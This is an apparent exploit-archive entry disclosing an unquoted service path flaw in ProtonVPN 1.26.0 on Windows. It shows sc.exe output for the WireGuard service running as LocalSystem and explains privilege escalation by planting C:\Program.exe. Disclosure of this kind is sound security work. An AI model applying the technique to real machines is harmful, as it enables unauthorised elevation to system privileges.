Protonvpn 1.26.0 unquoted service path Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2022-03-23 | Type : local | Platform : windows

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[+] Code ...

# Exploit Title: ProtonVPN 1.26.0 - Unquoted Service Path
# Date: 22/03/2022
# Exploit Author: gemreda (@gemredax)
# Vendor Homepage: https://protonvpn.com/
# Software Link: https://protonvpn.com/
# Version: 1.26.0
# Tested: Windows 10 x64
# Contact: gemredax@pm.me

PS C:\Users\Emre> sc.exe qc "ProtonVPN Wireguard"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ProtonVPN Wireguard
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Proton Technologies\ProtonVPN\ProtonVPN.WireGuardService.exe C:\ProgramData\ProtonVPN\WireGuard\ProtonVPN.conf
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : ProtonVPN WireGuard
DEPENDENCIES : Nsi
: TcpIp
SERVICE_START_NAME : LocalSystem


#Exploit:

The product uses a search path that contains an unquoted element, in which the element contains whitespace or other separators. This can cause the product to access resources in a parent path.
If a malicious individual has access to the file system, it is possible to elevate privileges by inserting such a file as "C:\Program.exe" to be run by a privileged program making use of WinExec.